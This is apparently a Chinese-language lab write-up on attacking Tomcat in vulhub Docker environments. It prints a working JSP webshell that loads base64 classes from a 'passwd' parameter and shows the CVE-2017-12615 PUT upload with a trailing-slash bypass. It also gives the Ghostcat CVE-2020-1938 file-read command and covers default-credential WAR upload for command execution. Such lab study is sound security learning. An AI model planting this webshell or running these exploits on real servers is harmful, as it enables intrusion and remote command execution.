tomcat
一、jsp一句话木马
这个东西网上百度就有
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
将jsp一句话木马放到IDEA里面,并且运行
然后用蚁剑连接,可以看到成功使用jsp一句话木马获取webshell,哪怕对Java不熟悉都可以使用
二、CVE-2017-12615(PUT上传文件)
1. 环境搭建
在vulhub靶场使用docker搭建tomcat的CVE-2017-12615漏洞环境
2. PUT上传文件
使用burp抓包
将GET改为PUT,并且上传hello.txt文件,内容为helloworld
响应包为201,代表成功
在docker环境里面,进入容器,然后切换到webapps目录里面的ROOT目录
两次对比前后发现,多出了个hello.txt,并且内容就是我们上传的helloworld
说明PUT上传文件成功
3. PUT上传jsp一句话
既然上传txt文件成功了,我们想要获取webshell,当然要上传jsp一句话
先直接按照上传txt那样上传试试,看有什么问题
发现状态码为404,代表上传失败了
我们想一下,能上传txt文件,但是上传jsp文件就上传限制,可能是做了后缀限制
根据学习过的文件上传的绕过方法,windows的文件上传绕过,常用的是点空格点绕过,这里我测试了不行
linux的一般绕过,是在文件后面加个/,上传后,linux会自动吃掉/
再次测试,响应包状态码为201
成功上传jsp一句话木马
4. 获取webshell
上传了jsp一句话之后,自然就是测试用蚁剑是否能成功连接
结果自然是成功的
三、CVE-2020-1938(幽灵猫任意文件读取漏洞)
1. 环境搭建
2. 漏洞利用
这里要使用一个工具ghost cat,也就是幽灵猫工具
使用的是python脚本,使用的方法在截图里面有给出
根据示例,成功获取WEB-INF下面的web.xml内容
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.131 -p 8009 -f WEB-INF/web.xml
3. 漏洞验证
上面的利用只是按照示例,读取了示例中给出的文件
我们要来验证一下,是否可以进行任意文件读取,还是说只能读取那个文件
首先我们进入容器,在webapps的ROOT目录下创建一个hello.txt,内容为helloworld haha
然后我们用幽灵猫读取一下这个hello.txt文件
发现成功读取,证明的确是可以读取任意文件
四、tomcat8(弱口令+war包上传的任意命令执行漏洞)
1. 环境搭建
2. 漏洞利用
点击tomcat的Manager App
弹出一个身份认证,默认的账户密码都是tomcat
登录之后进入如下界面
往下拉,可以看到有一个上传war包的功能点
那么什么叫war包,这里我百度了一下
意思就是上传这个上传war包之后,tomcat服务器会自动运行war包下面的jsp代码
那么从哪里找到war包?
kali自带了一个cmd的war包,我们将它找到,并且复制到桌面上
并且查看下cmd.war里面的内容,很像webapps目录,并且存在cmd.jsp文件
cmd.jsp文件就是实现我们的命令执行的主要文件
在上传war包的功能那里,上传这个cmd.war
上传成功之后,上面会多出一个/cmd的目录
点开之后,是如下的404界面,是因为我们没有加jsp文件
在url后面加上cmd.jsp之后,成功进入如下界面
剩下就是测试一下功能,执行命令,成功验证漏洞